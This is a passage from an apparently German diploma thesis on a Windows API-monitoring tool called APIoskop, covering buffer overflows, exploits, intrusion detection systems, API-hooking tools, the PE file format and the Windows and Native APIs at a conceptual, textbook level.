resultiert, dass das 11

26 Kapitel 2. Grundlagen der Computersicherheit Array a nun nicht mehr den Inhalt fleckig besitzt, sondern die Zeichenkette dreckig beinhaltet. Die hier gezeigte Form eines Buffer Overflows nennt sich Stack Overflow, da über die Grenzen eines Buffers geschrieben wird, welcher auf dem Stack liegt. Stack strcpy(a, fleckig ); b[6] := d ; b[7] := r ; f l e c b a d l e c k i g b a d r e c k i g k i g b a Abbildung 2.1.: Stack Overflow Anstatt eine geringe Veränderung zu bewirken, wie in diesem harmlosen Beispiel, könnte ein Angreifer einen Stack Overflow aber auch ausnutzen, um dadurch Speicherbereiche mit neuen Sprungadressen und Maschinenbefehlen zu überschreiben. Es ist also durch Buffer Overflows ohne Probleme möglich, fremden Code in ein Programm einzuschleusen, der dann mit den Rechten des ausgenutzten Programms ausgeführt wird. So könnte ein Angreifer beispielsweise auch versuchen, eine Rootshell zu erlangen. [ho] Ein weiteres Beispiel für eine Schwachstelle ist unter technet/security/advisory/ mspx zu finden. Hierbei handelt es sich um eine Schwachstelle in Microsoft Word, die es ermöglicht, dass mit einem extra daraufhin präparierten Word-Dokument beliebiger Code mit den Rechten des Word-Benutzers ausgeführt werden kann Ausnutzen von Schwachstellen Zum Ausnutzen von Schwachstellen werden sogenannte Exploits benutzt. Ein Exploit ist ein Programm, dessen einziges Ziel es ist, eine Schwachstelle eines anderen Programms auszunutzen. Im Laufe der letzten Jahre wurden immer mehr Schwachstellen von Programmen bekannt. Mit ihnen wächst auch die Anzahl der Exploits. Das Metasploit Framework (http://www.metasploit.com) hat sich zum Ziel gesetzt, möglichst viele Informationen zu einzelnen Schwachstellen zur Verfügung zu stellen, und bietet auch eine Vielzahl von Exploits für Penetrationstests an. Dadurch sollen Softwarehersteller auf Schwachstellen in ihrer Software aufmerksam gemacht werden, damit sie diese Sicherheitslücken schließen können. Gewöhnlich trifft man eine Unterscheidung zwischen lokalen und remote Exploits. Remote Exploits fungieren über Netzwerke und nutzen Schwachstellen in angebotenen 12

27 2.3. Intrusion Detection Netzwerkdiensten aus. Lokale Exploits hingegen zielen auf Schwachstellen in Software ab, die unsauber oder fehlerhaft bestimmte Daten verarbeitet. Ein Beispiel für den zweiten Fall ist eine als Attachment empfangene PowerPoint-Präsentation, die von ihrem Absender gezielt präpariert wurde, so dass bei deren Öffnen eine Schwachstelle im Programm Microsoft PowerPoint ausgenutzt wird. Wurde eine Schwachstelle erstmal erfolgreich ausgenutzt, dann besteht der nächste Schritt darin, eigenen Code zur Ausführung zu bringen, indem er in das ausgenutzte Programm eingeschleust wird. Da sich dieser Code in dem Prozesskontext des ausgenutzten Programms befindet, erhält der fremde Code genau dieselben Rechte wie dieses Programm. Den eingeschleusten Code nennt man Payload. Gewöhnlich ist dieser Code bösartiger Natur. Möglicher Schadcode könnte einem Angreifer eine privilegierte Shell zur Verfügung stellen oder etwa Daten ausspionieren oder gar löschen. Es existiert auch Malware, die keinen Payload benutzt, sondern sich einfach nur weiterverbreitet. Dies ist aber ebenfalls nicht hinnehmbar, da auch Malware ohne Payload unnötig Netzwerktraffic verursacht und Systemressourcen, wie zum Beispiel CPU-Zeit, beansprucht. Abgesehen davon möchten die meisten Benutzer grundsätzlich nicht, dass Programme ohne ihre Zustimmung oder gar versteckt vor ihnen ablaufen Intrusion Detection Der Name Intrusion (dt. Eindringen) deutet bereits darauf hin, dass darunter das Eindringen eines Angreifers in ein System zu verstehen ist. Als Intrusion bezeichnet man jeglichen Versuch von außerhalb oder innerhalb des eigenen Netzwerkes, der darauf abzielt, auf unerlaubte Weise die von einem System zur Verfügung gestellten Ressourcen zu missbrauchen. Demzufolge bezeichnet Intrusion Detection (dt. Entdeckung des Eindringens) jegliche Maßnahmen, die dazu dienen, solch ein unerlaubtes Eindringen in ein System zu erkennen. Für diese Entdeckung existiert eine Vielzahl an Werkzeugen und Komponenten, welche beispielsweise einen Systemadministrator bei der Aufdeckung eines solchen Eindringens unterstützen sollen. All diese Werkzeuge werden unter dem Begriff Intrusion Detection Systeme (IDS) zusammengefasst. Die Frage, was bei einem System als unerlaubtes Eindringen zu bezeichnen ist, muss individuell betrachtet werden. Die Antwort hängt davon ab, was auf einem System erlaubt ist und was nicht. So ist es zum Beispiel fraglich, ob das Lesen eigentlich vertraulicher Daten als unerlaubt anzusehen ist, wenn diese leicht zugänglich sind und gegen das Lesen durch Dritte keine Sicherheitsmaßnahmen ergriffen wurden. Eine allgemeine Definition des unerlaubten Eindringens findet sich in einem Buch von Tobias Klein [Kle01]: Jegliche Aktion, die zu einer Veränderung der Integrität, Vertraulichkeit oder Verfügbarkeit einer Ressource führt. In dieser Definition befinden sich drei Kenngrößen der IT-Sicherheit. Dabei bezeichnet Integrität den Schutz vor unbefugter Veränderung der Ressource, mit Vertraulichkeit wird der Schutz vor unbefugter Preisgabe der Ressource bezeichnet (zum Beispiel das 13

28 Kapitel 2. Grundlagen der Computersicherheit Lesen von Informationen, die man nicht lesen dürfte) und unter der Verfügbarkeit einer Ressource versteht man den Schutz vor deren unbefugter Vorenthaltung. [Fre] Neben dem übergeordneten Ziel, dass man mittels der Intrusion Detection genau dieses unerlaubte Eindringen entdecken und durch entsprechende Gegenmaßnahmen schlimmere Folgen vermeiden möchte, existieren weitere Teilziele. Bereits aus obiger Definition des unerlaubten Eindringens lassen sich wesentliche Ziele eines Intrusion Detection Systems ableiten: 1. Ein IDS soll die Integrität, Verfügbarkeit und Vertraulichkeit der bereitgestellten Ressourcen gewährleisten. Dieses Ziel ist unmittelbar aus der obigen Definition des unerlaubten Eindringens abgeleitet. 2. Ein IDS soll einen Administrator in der Reaktion auf einen möglichen Angriff unterstützen. Beispielsweise ist dies durch einen Alarm möglich, welcher unmittelbar nach dem Erkennen eines Eindringens ausgelöst wird. 3. Ein IDS soll kontinuierlich Arbeiten, ohne dass ein Administrator ständig eingreifen muss. 4. Ein IDS soll leicht in die vorhandene Systemstruktur integrierbar sein, d. h. mögliche Benutzer sollen nicht durch eine komplizierte Integration von einer Benutzung des IDS abgebracht werden. 5. Ein IDS soll fehlertolerant sein. Würden diese Systeme aufgrund einer erhöhten Fehleranfälligkeit oft ausfallen, so würden sie ihren Zweck nicht zufriedenstellend erfüllen Ansatzpunkte für IDS Meist werden die Intrusion Detection Systeme in zwei Kategorien eingeteilt. Der Unterschied zwischen diesen beiden Kategorien besteht in dem Objekt beziehungsweise in der Position, welche im Mittelpunkt der Überwachung eines IDS steht. Zum einen existiert die Gruppe der Host-basierten IDS (HIDS) und zum anderen die Gruppe der Netzwerkbasierten IDS (NIDS). Beide Systeme sind in Abbildung 2.2 veranschaulicht. In dieser Abbildung ist die gerade angesprochene Position, nach welcher diese Unterscheidung getroffen wird, mit Sensor gekennzeichnet Host-basierte IDS Host-basierte Intrusion Detection Systeme überwachen die Aktivitäten, welche lokal auf einem Host vor sich gehen. Viele Werkzeuge eines HIDS liefern dem Benutzer Informationen über die Verwendung und Zustände ausgewählter lokaler Systemkomponenten. Sollte das HIDS dabei ein verdächtiges Verhalten feststellen, wird sofort Alarm ausgelöst. HIDS versuchen, einen möglichen Angriffsversuch dadurch zu bemerken, dass sie die Spuren, die ein Angreifer dabei hinterlassen hat, erkennen und versuchen diese zurückzuverfolgen. Dazu können sie beispielsweise die vom System zur Verfügung gestellten Logdateien, Anwendungs-Logdateien und Systemdateien überwachen. Viele Werkzeuge 14

29 2.3. Intrusion Detection Sensor HIDS Sensor NIDS Abbildung 2.2.: NIDS (rötlich) und HIDS (bläulich) der HIDS zeichnen auch Login-Versuche auf oder beobachten Änderungen am Dateisystem, um so die Datenintegrität zu gewährleisten. Dabei sind natürlich besonders die Modifikationen von sensitiven Daten interessant. Zum Beispiel sollte keine Microsoft Office-Anwendung plötzlich und auf unerklärliche Weise auf die Passwort-Datenbank von Windows zugreifen und dann eine Netzwerkverbindung aufbauen. Im Idealfall geben HIDS Auskunft darüber, welche lokale Anwendung auf welche Ressourcen eines Hosts zugreift Netzwerk-basierte IDS Im Gegensatz zur Überwachung der Aktivitäten auf einem lokalen System durch die HIDS, überwachen Netzwerk-basierte Intrusion Detection Systeme den gesamten einund ausgehenden Netzwerkverkehr. Wahlweise kann auch nur ein Teil dieses Netzwerks, ein Netzwerksegment, überwacht werden. NIDS versuchen einen möglichen Angriff dadurch zu erkennen, dass sie den Netzwerkverkehr beobachten und diesen einer Analyse unterziehen. Die Analyse übernimmt eine eigens dafür bestehende Komponente, an welche die gesammelten Daten geschickt werden. Auf welche Art diese Daten analysiert werden können, beschreibt das Kapitel Die Komponenten, welche zum Sammeln der Daten eingesetzt werden, bezeichnet man als die Sensoren des NIDS. Die Position der Sensoren nimmt dabei erheblichen Einfluss auf den Umfang der Überwachung und auf den durch das NIDS zusätzlich entstehenden Netzwerkverkehr. Existiert in einem Netzwerk zum Beispiel eine Firewall, so kann ein Sensor vor oder hinter dieser Firewall eingesetzt werden. Wird er vor der Firewall eingesetzt, ermöglicht diese Position das Erkennen aller Angriffe gegen das Netzwerk. Bei einer Positionierung hinter der Firewall wird man nur die Angriffe entdecken, welche nicht bereits durch die Firewall abgeblockt wurden. Die letztere Positionierung schützt das NIDS allerdings besser gegen solche Angriffe, die auf das Aushebeln des NIDS selber zielen. 15

30 Kapitel 2. Grundlagen der Computersicherheit Möchte man APIoskop einer dieser beiden Gruppen zuteilen, so müsste man es wohl in die Gruppe der Host-basierten IDS einordnen. Diese Einordnung liegt daran, dass APIoskop die Aufrufe der Windows API durch andere Prozesse überwacht, welche auf demselben Host laufen wie APIoskop selbst IDS-Komponenten Meist lässt sich ein IDS in mehrere Komponenten unterteilen. Damit ein IDS einen möglichen Angriffsversuch erkennen kann, vollzieht es mehrere Arbeitsschritte. Jeder dieser Schritte erfüllt eine eigene Aufgabe, welche von einer einzelnen Komponente des IDS durchgeführt wird: 1. Datensammlung: Diese Komponente sammelt Informationen, welche von der zweiten Komponente benötigt werden. Im Falle eines NIDS sind dies die Sensoren, die den Netzwerkverkehr mitschneiden. Bei HIDS sammelt die Komponente Informationen, welche sie von dem Betriebssystem des Hosts geliefert bekommt. Dies können Logdatei-Einträge, Login-Versuche oder auch Dateisystemzugriffe sein. Ebenfalls ist es vorstellbar, dass die durch APIoskop registrierten Funktionsaufrufe der Daten-Analyse-Komponente zur Verfügung gestellt werden. 2. Datenanalyse: Diese Komponente analysiert die Daten, welche sie von der ersten Komponente zur Datensammlung zur Verfügung gestellt bekommt. Wenn ein tatsächlicher Angriff festgestellt wird, dann geschieht dies durch diese Komponente. Die Analyse lässt sich in zwei Arten unterteilen: Missbrauch-Analyse: Bei dieser Analyse-Technik werden die gesammelten Informationen mit bereits bekannten Angriffssignaturen verglichen. Auf diese Weise lassen sich Angriffe auf bekannte Schwachstellen des Systems entdecken. IDS, welche diese Analyse-Technik verwenden, nennt man Missuse-Detection- IDS. Anomalie-Analyse: Bei der zweiten Analyse-Technik wird vor der Überwachung ein Profil des Systemverhaltens erstellt. Dabei muss sichergestellt sein, dass zum Zeitpunkt der Profilerstellung das System nicht bereits kompromittiert ist. Während der Überwachung werden die gesammelten Daten dann mit diesem normalen Systemverhalten verglichen, und bei signifikanten Abweichungen wird Alarm ausgelöst. IDS, welche diese Analyse-Technik verwenden, nennt man Anomaly-Detection-IDS. Sie können nicht nur Angriffe auf bekannte Schwachstellen erkennen, sondern darüber hinaus auch neue Angriffsmuster. 3. Ergebnisdarstellung: Die dritte Komponente eines IDS ist für die Darstellung der Ergebnisse verantwortlich, die aus der Datenanalyse hervorgegangen sind. Sie sollte diese benutzerfreundlich und leicht verständlich präsentieren. Darüber hinaus kann diese Komponente bei manchen IDS auch noch einen Alarm auslösen oder Benachrichtigungen an verantwortliche Personen, z. B. einen Systemadministrator, verschicken. 16

31 2.4. Related Work Bekannte IDS In diesem Unterkapitel werden drei bekannte IDS kurz vorgestellt. Eine genauere Einführung in den Bereich der Intrusion Detection bieten unter anderem die Bücher hinter folgenden Literaturverweisen: [Kle01], [Cro02] und [ukjc04]. Vor allem das letzte Buch bietet eine gute Übersicht über Snort und andere IDS. - Snort: Snort ist wohl das am meisten benutzte NIDS. Es ist ein Missuse- Detection-IDS und ursprünglich wurde dieses Open-Source-Projekt für UNIX- Systeme entwickelt, ist mittlerweile aber auch für das Betriebssystem Windows verfügbar. Snort bietet die Möglichkeit, Protokollanalysen durchführen, den Inhalt von Datagrammen zu durchsuchen, mehrere Sensoren zu verwenden und besitzt eine große Anzahl vorgefertigter Angriffssignaturen. Zu beziehen ist Snort unter - Bro: Bro ist ebenfalls ein Open-Source-Projekt für UNIX-Systeme. Dieses NIDS ist Snort sehr ähnlich, besitzt aber den Vorteil, dass Bro den mitgeschnittenen Netzwerkverkehr auch auf Anomalien untersuchen kann. Für die auch mögliche Missbrauchs-Analyse können sogar Snort-Signaturen verwendet werden. Bro filtert den Netzwerkverkehr und verwirft alle Datenpakete, welche es als nicht wichtig einstuft. Die restlichen Datenpakete werden aufgrund der Informationen aus der Anwendungsebene in Gruppen eingeteilt, welche Ereignisse repräsentieren. Ereignisse können beispielsweise ein gescheiterter Verbindungsversuch oder eine Anfrage eines Browsers nach einer URL sein. Zu beziehen ist Bro unter Dort befinden sich auch weitere Informationen. - Tripwire: Einzuordnen ist Tripwire in die Gruppe der HIDS. Dieses UNIX-Tool sichert die Integrität des Dateisystems. Dazu wird mit diesem bekannten Integritätschecker eine Datenbank angelegt, die CRC-Hashwerte ausgesuchter Dateien beinhaltet. Bei einem Aufruf von Tripwire werden die aktuellen Hashwerte mit denen aus der Datenbank verglichen. Stellt Tripwire dabei einen Unterschied fest, so ist dies ein sicheres Zeichen dafür, dass die betroffene Datei verändert wurde. Zu beziehen ist Tripwire unter - Network Flight Recorder: Das letzte vorgestellte IDS wird nur in einer kommerziellen Version vertrieben. Es existiert sowohl eine Variante für UNIX als auch für Windowssysteme. Für beide Betriebssystemfamilien werden graphische Oberflächen angeboten, und man kann den Network Flight Recorder sowohl als HIDS als auch als NIDS betreiben. Weitere Informationen sind auf der Webseite zu finden Related Work Das von Microsoft entwickelte Detours ist ein Paket, welches alle wichtigen Funktionen liefert, die nötig sind, um Funktionsaufrufe abzufangen. Realisiert wird dies durch das Inline Hooking. Dabei wird die Funktion, deren Aufrufe abgefangen werden sollen, im Speicher gezielt so manipuliert, dass die Kontrolle nach deren Aufruf sofort an eine 17

32 Kapitel 2. Grundlagen der Computersicherheit selbstgeschriebene Hook-Funktion weitergegeben wird. Nähere Informationen zum Inline Hooking finden sich in Kapitel Des Weiteren können durch Detours beliebige Programmbibliotheken oder Datensegmente (Payloads genannt) in Dateien des PE-Formats integriert werden. [Cor07] [udb] Auch das von Mathias Rauen entwickelte MadCodeHook besteht aus einem Paket, welches alle wichtigen Funktionen bietet, welche zum Injizieren von Bibliotheken in Prozesse und zum Abfangen von Funktionsaufrufen notwendig sind. MadCodeHook kann sowohl für die Programmiersprachen Delphi als auch MSVC++ verwendet werden. Zur Zeit der Diplomarbeit wurde MadCodeHook in verschiedenen Versionen angeboten. Neben verschiedenen kostenpflichtigen Lizenzen existiert auch eine Freeware-Version. Die Einschränkung der letzteren besteht darin, dass man nur eine Programmbibliothek madchook.dll erhält, welche die gebotenen Funktionen exportiert. [Rau] Mit der CWSandbox, welche aus der Diplomarbeit von Carsten Willems entstand, lässt sich automatisiert Malware analysieren. Dazu wird die zu untersuchende Malware in einer simulierten Umgebung ausgeführt und es wird deren Verhalten analysiert. Die Verhaltensanalyse basiert auf dem Abfangen von Systemaufrufen, welches die CWSandbox durch Inline Hooking realisiert. Auf Grundlage der registrierten Systemaufrufe liefert die CWSandbox einen ausführlichen Bericht darüber, welche Aktivitäten die Malware vollzogen hat. [Wil06] FileMon ist ein von Mark Russinovich und Bryce Cogswell erstellter Monitor, welcher alle Dateisystemaktivitäten in Echtzeit überwacht und anzeigt. Die Informationen, welcher Prozess in welcher Art und Weise auf welches Dateisystemobjekt zugreift, erhält FileMon aus einem vituellen Gerätetreiber [ubca]. Das Registry-Pendant zu diesem Tool heißt RegMon und zeichnet alle Zugriffe auf die Windows-Registrierungsdatenbank auf. [ubcb] 2.5. Zusammenfassung Dieses Kapitel stellte grundlegende Begriffe aus dem Bereich der Computersicherheit vor. Eine Gefahr für die Computersicherheit stellt Malware dar. Mit dieser bösartigen Software beschäftigte sich das erste Unterkapitel 2.1. Innerhalb dieses kurzen Überblicks über Malware wurden verschiedene Malwaretypen charakterisiert. Dabei wurde unter anderem unterschieden zwischen Viren, Würmern, Trojanischen Pferden, Backdoor-Programmen, Spyware und Rootkits. Eine genaue Einteilung von schadhafter Software in eine dieser Kategorien ist allerdings nicht so einfach, da deren Übergang oft fließend ist. Diese Kategorisierung ist keineswegs vollständig, reicht aber für dieses Grundlagenkapitel aus. Das anschließende Kapitel 2.2 ging auf den Begriff der Schwachstelle ein. Dies sind Fehler in einem Programm, welche einem Benutzer oder anderer Software Möglichkeiten bieten, die in dieser Form nicht beabsichtigt sind. In einem denkbar ungünstigen Fall lassen sich so unberechtigterweise höhere Benutzerrechte erlangen. Verdeutlicht wurde diese Tatsache anhand eines Buffer Overflows. Dies ist die in den letzten Jahren wohl am häufigsten auftretende Schwachstelle. Zum Schluss dieses Unterkapitels wurden mit Exploits Programme vorgestellt, deren Aufgabe darin besteht, eine Schwachstelle gezielt 18

33 2.5. Zusammenfassung auszunutzen. Wird durch Ausnutzen einer Schwachstelle eine Anwendung dazu gebracht, dass diese unbemerkt nicht gewollte Aktivitäten ausführt, so wird dieses unübliche Verhalten durch eine Überwachung per APIoskop sichtbar. Schwachstellen sind eine Möglichkeit für Angreifer, in fremde Computersysteme einzudringen. Um solch ein unerlaubtes Eindringen zu erkennen, existieren viele Werkzeuge und Komponenten, die unter dem Begriff Intrusion Detection Systeme (IDS) zusammengefasst werden und mit denen sich das vorletzte Unterkapitel 2.3 beschäftigte. Um seine Aufgabe zu erledigen, sammelt ein IDS Daten, welche es in einem weiteren Schritt nach Spuren eines Eindringens hin untersucht. Je nachdem, wo sich der Sensor eines IDS befindet, bezeichnet man ein IDS als Host-basiert oder als Netzwerk-basiert. Im ersteren Fall befindet sich der Sensor auf einem einzelnen Rechner und im zweiten Fall in einem Netzwerk. Unter einem Sensor eines IDS versteht man die Komponente, welche für die Datensammlung zuständig ist. Üblicherweise besitzt ein IDS noch zwei weitere Komponenten: Eine zur Analyse der gesammelten Daten und eine dritte, deren Aufgabe in der Ergebnisdarstellung liegt. Am Ende diees Unterkapitels wurden kurz vier bekannte IDS präsentiert: Snort, Bor, Tripwire und Network Flight Recorder. Zum Schluss dieses Kapitels wurden Tools vorgestellt, welche APIoskop ähnlich sind. Das sind die beiden API-Hooking-Pakete Detours und MadCodeHook, die CWSandbox, FileMon und RegMon. 19

34 Kapitel 2. Grundlagen der Computersicherheit 20

35 Kapitel 3. Windowsgrundlagen und API-Hooking Dieses Kapitel soll der besseren Verständlichkeit der folgenden Kapitel dienen. Vor allen Dingen der Inhalt der letzten beiden Unterkapitel ist für das Verständnis des folgenden Kapitels 4 sehr wichtig. Das erste Unterkapitel dagegen dient hauptsächlich dazu, dass der Leser die anderen beiden Unterkapitel besser verstehen kann. Eine wichtige Rolle in der Funktionsweise und bei der verwendeten Technik von APIoskop spielen Programmbibliotheken und ausführbare Dateien. Die Dateien besitzen das PE-Dateiformat, dessen Aufbau kurz in Unterkapitel 3.1 vorgestellt wird. Ausführbare Dateien entehen bei der Compilierung eines Quellcodes, welcher in den meisten Fällen von einem Programmierer geschrieben wurde. Das Betriebssystem Windows bietet Programmierern eine Schnittstelle, welche diese benutzen können, um Anwenderprogramme zu erstellen. Diese Schnittstelle heißt Windows API und ist Gegenstand des Unterkapitels 3.2. Über diese Schnittstelle wird ein kontrollierter Zugriff auf die Systemressourcen gewährleistet. Das letzte Unterkapitel 3.3 stellt schließlich eine Technik vor, die es erlaubt, Funktionsaufrufe der Windows API abzufangen und auf eigene Funktionen umzulenken. Es wird beschrieben, wie man fremde Prozesse dazu bringen kann, dass diese die selbstgeschriebenen Funktionen in ihren Adressraum einblenden und diese anstatt der Originalfunktionen ausführen Das PE-Dateiformat Jede ausführbare Datei von Windows ist nach dem Portable Executable File Format (kurz: PE-Format) strukturiert. Die Dateiendungen, die für ausführbare Dateien unter Windows üblicherweise verwendet werden, sind unter anderem.exe,.dll,.sys,.drv,.com,.scr und.cpl. Dieses Format wurde Portable Executable genannt, da es erstens für ausführbare (engl. executable) Dateien benutzt wird und diese zweitens auf allen 32-Bit Betriebssystemen von Microsoft lauffähig sind (Portabilität). Abbildung 3.1 zeigt den Aufbau des PE-Formats. Dieses besteht aus verschiedenen Headern und mehreren Sektionen, welche logisch zusammenhängende Daten enthalten. 21

36 Kapitel 3. Windowsgrundlagen und API-Hooking MS-Dos Header MS-Dos Stub PE Header Section Table Section 1. PE Signatur File Header Optional Header. Data Directory Export Table Import Table Resource Table Exception Table. Section n Abbildung 3.1.: Das PE-Dateiformat Das erste Element des PE Formats ist ein MS-Dos Header. Dessen ersten zwei Byte beinhalten die Kennung MZ 1. Jede Datei, unter Dos und Windows, wird durch diese Kennung als ausführbar markiert. Direkt anschließend folgt der MS-Dos Stub. Dieser ist ein unter Dos ausführbares Programm und wird auch nur dort ausgeführt. Meist wird durch dieses Programm nur die Meldung This program cannot be run in DOS mode ausgegeben. Das nächste Element ist der sogenannte PE Header. Dessen Anfang wird durch die Zeichenkette PE (gefolgt von zwei Null-Bytes) signalisiert, welche angibt, dass diese Datei eine Win32-PE-Datei ist, und wird am Offset 3Ch des Dos Stubs referenziert. Der File Header, welcher an das Common Object File Format (COFF) angelehnt ist, beinhaltet generelle Informationen über die Datei. Dies sind zum Beispiel die Anzahl der Sektionen in der Datei oder auch die Größe des folgenden optionalen Headers. Der Name des optionalen Headers sollte nicht wörtlich genommen werden: Sofern es sich bei der PE-Datei um ausführbare Dateien oder Bibliotheken handelt, muss dieser Header existieren. Innerhalb dieses Headers existiert unter anderem auch das Data Directory. Dieses hat die Form eines Arrays und jeder seiner Einträge stellt dem Windows Loader wichtige Informationen zur Verfügung. Die im Bezug auf diese Diplomarbeit wichtigsten Einträge sind die Import Adress Table (IAT) und die Export Adress Table (EAT). In der IAT sind alle Funktionen aufgelistet, welche im Code eines Programms oder der Bibliotheksfunktionen dynamisch importiert werden. Wird ein Windowsprogramm gestartet, so lädt der Windows Loader dieses in den Speicher. Anschließend geht er die Einträge der IAT durch und blendet jede Bibliothek, aus welcher eine Funktion in dem Programm benutzt wird, in den virtuellen Adressraum des Prozesses ein. Befindet sich eine dieser Bibliotheken noch nicht im Speicher, so wird sie zuvor in diesen geladen. Dabei vervollständigt er die IAT insoweit, dass er jedem Funktionseintrag der IAT einen Zeiger zuordnet. Dieser Zeiger markiert den Einstiegspunkt der jeweiligen Funktion im Speicher. Der Sinn hinter diesem Vorgehen ist, dass während der Programmcompilierung 1 MZ sind die Initialen von Mark Zbikowski einer der am längsten bei Microsoft tätigen Software- Entwickler. 22

37 3.2. Windows API und Native API noch nicht bekannt ist, an welcher Stelle im Speicher später die verwendeten Bibliotheken liegen beziehungsweise eingeblendet werden, und aus diesem Grund auch keine statischen Verweise verwendet werden können. Das Gegenstück zur IAT ist die EAT. Dieser kommt hauptsächlich bei Bibliotheken eine besondere Bedeutung zu. Wird eine Bibliothek vom Windows Loader in den Speicher geladen, so füllt er ihre EAT aus. Sie enthält für jede als exportiert markierte Funktion der Bibliothek einen Eintrag, bestehend aus deren Funktionsnamen und der Einstiegsadresse der Funktion im Speicher. Die Funktionsnamen der IAT (eines Programms oder einer anderen Bibliothek, welche Funktionen von dieser Bibliothek importieren möchte) müssen exakt den Funktionsnamen dieser EAT entsprechen, da der Windows Loader sonst keine korrekte Zuordnung der Funktionen durchführen kann. Auf den PE Header folgt die Section Table. Dies ist ein Array, bestehend aus den Headern der anschließenden Sektionen. Jeder Header ist 40 Byte groß und enthält folgende Informationen: - Sektionsname: Kann jeder beliebige Name sein, der nicht länger als acht Zeichen ist. Oft werden jedoch Standardnamen verwendet. So hat die Sektion, welche den Programmcode enthält, meistens den Namen.code oder.text oder die Datensektion den Namen.data. - Größe und Offset der Sektion. - Flags (32 Bits), welche die Zugriffsrechte auf die Sektion angeben. Hiermit kann die Sektion beispielsweise als ausführbar markiert werden, oder es wird nur lesender Zugriff erlaubt. Zum Beispiel ist die.code Sektion oft als ausführbar und schreibgeschützt markiert. Es ist auch möglich, eine Sektion als shared zu kennzeichnen. Ist dies der Fall, so wird bei einem weiteren Laden der PE Datei diese Sektion nicht ein zweites Mal in den Speicher geladen, sondern es werden nur die Einträge der Seitentabelle neu gesetzt. Auf diese Weise lässt sich bei häufig verwendeten Dateien, wie zum Beispiel Bibliotheken, Arbeitsspeicher einsparen. Auf die Section Table folgen die einzelnen Sektionen. Diese enthalten die eigentlichen Daten der Datei. Zu diesen Daten zählen unter anderem der Programmcode, Programmdaten (zum Beispiel globale Variablen) oder auch Ressourcen (zum Beispiel Bilder), welche von der ausführbaren Datei benutzt werden Windows API und Native API Das Betriebssystem Windows verfügt über zwei Betriebsmodi den sogenannten Benutzermodus und den Kernelmodus. Der Kernelmodus setzt direkt auf der Hardwareebene auf und stellt dem Benutzermodus eine abstrahierte Sicht dieser Hardwarebasis in Form einer Schnittstelle zur Verfügung. So müssen Programme, die im Benutzermodus laufen, keine genaue Kenntnis über die vorhandene Hardware besitzen und können dennoch darauf über diese Schnittstelle zugreifen. Zudem wird diese Einteilung, wie sie jedes moderne Betriebssystem bietet, aus Sicherheitsgründen vorgenommen. Prozesse, die im Kernelmodus laufen, haben viel höhere 23

38 Kapitel 3. Windowsgrundlagen und API-Hooking Privilegien als Prozesse, die auf Benutzerebene ausgeführt werden. Ein weiterer Vorteil dieses Prinzips ist eine gerechte Verteilung der Systemressourcen unter den Anwenderprogrammen. Mit dieser Unterteilung ist es keinem Anwenderprogramm möglich, eine oder mehrere Ressourcen dauerhaft zu binden. Mit der Windows API (Application Programming Interface) bietet Microsoft einem Programmierer eine Sammlung von Funktionen an, um Windowsapplikationen zu entwickeln. Diese Schnittstelle besteht aus mehreren Programmbibliotheken (DLL-Dateien), die jeweils unterschiedliche Funktionen exportieren. Diese können von einem Programmierer in sein eigenes Programm eingebunden werden, um mit dem Betriebssystem zu kommunizieren und es anzuweisen, systemnahe Operationen durchzuführen. Die wichtigsten Bibliotheken sind: kernel32.dll (Windows NT Basis API): Exportiert die wichtigsten Basisfunktionen und wird in jeden Anwenderprozess geladen advapi32.dll (Advanced Windows API): Stellt Funktionen zur Bearbeitung der Registry und für die Dienstkontrolle zur Verfügung user32.dll (Windows User API): Beinhaltet Funktionen für die Verwendung von einem Graphical User Interface (GUI). Sie wird in jeden Prozess geladen, der ein GUI bietet ws2_32.dll (Windows Socket API): Hier sind Funktionen für den Zugriff auf Netzwerke vereint ntdll.dll (Native API): Die Native API (siehe Kapitel 3.2.1) ist eine separate Schnittstelle und gehört nicht zur eigentlichen Windows API. Da viele Funktionen der Windows API jedoch Wrapper um Funktionen der Native API sind, wird diese hier mit aufgelistet. Die gesamte Windows API umfasst Tausende von aufrufbaren Funktionen, die sich in folgende Hauptkategorien aufteilen lassen [umer05]: Basisdienste (Prozesse/Threads, Speicherverwaltung, E/A, Sicherheit) Komponentendienste Benutzerschnittstellendienste Grafik- und Multimediadienste Nachrichtenübermittlung und Zusammenarbeit Netzwerkbetrieb Webdienste Native API Wie bereits erwähnt, existiert neben den Bibliotheken der Windows API in Windowsversionen ab Windows NT/2000 noch eine weitere Bibliothek, der ebenfalls eine zentrale Bedeutung zukommt. Die Bibliothek ntdll.dll enthält Funktionen einer zweiten Schnitt- 24

39 3.2. Windows API und Native API stelle, welche Native API genannt wird. Viele Funktionen der Windows API sind lediglich Wrapper um Funktionen der tiefer liegenden Native API, d.h. dass bei einem Aufruf einer Windows API-Funktion, diese wiederum eine Funktion der Native API aufruft. Der Grund für dieses Zwei-Schichten-System besteht in einer erhöhten Portabilität von Windowsprogrammen. Die Implementierung der Native API unterscheidet sich bei den verschiedenen Windowsversionen, aber die Windows API bleibt weitestgehend gleich. Dadurch ist es möglich, dass eine Anwendung auf verschiedenen Windowsversionen ausführbar ist, wenn sie mithilfe der Windows API implementiert ist. Anwendungen können zwar auch direkt auf Funktionen der Native API zurückgreifen, jedoch ist dann die Portabilität nicht mehr gewährleistet. Den Zusammenhang zwischen diesen zwei Schichten stellt Abbildung 3.2 dar. Da es von Microsoft nicht beabsichtigt war, dass Anwenderprogramme Funktionen der Native API direkt benutzen, ist diese Schnittstelle sehr schlecht dokumentiert. Auch findet sich im Vergleich zur Windows API recht wenig Literatur zu dieser Schnittstelle. Eine dennoch gute Übersicht über den Gebrauch der Native API und deren Funktionen bietet ein Buch von Gary Nebbett [Neb00]. Ws2_32.dll Kernel32.dll User32.dll Advapi32.dll Windows API ntdll.dll Native API Benutzermodus Kernelmodus Abbildung 3.2.: Die wichtigsten DLLs der Windows API im Zusammenhang Aufrufketten Benutzeranwendungen verwenden die Windows API, anstatt per Systemaufruf in den Kernel zu springen, um dort Systemressourcen zu verwenden. Nach einem Aufruf einer Funktion der Windows API variiert der weitere Programmablauf, je nach aufgerufener API-Funktion. Manche Funktionen springen zur Durchführung ihrer Aufgabe in den Kernelmodus, und andere verarbeiten die Argumente und rufen weitere API-Funktionen auf, um ihr Ergebnis zu berechnen. Solch eine Folge von sich gegenseitig aufrufenden Funktionen, wie sie im zweiten Fall vorliegt, nennt man Aufrufkette. Von manchen Windows API-Funktionen existieren zwei Varianten eine mit der Endung W und eine mit der Endung A. Diese besitzen dieselbe Funktionalität. Es besteht nur ein Unterschied darin, in welcher Codierung ihnen Stringargumente übergeben 25

